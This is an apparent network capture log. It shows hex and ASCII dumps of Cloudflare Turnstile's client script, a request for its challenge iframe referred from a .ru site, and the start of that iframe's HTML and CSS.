2024-12-11 20:03:27 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:27 UTC	796	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://wdii.cxbeurue.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:27 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26677 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-11 20:03:27 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 30 38 31 34 30 31 39 65 39 34 35 65 38 30 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f0814019e945e80-EWRalt-svc: h3=":443"; ma=86400
2024-12-11 20:03:27 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
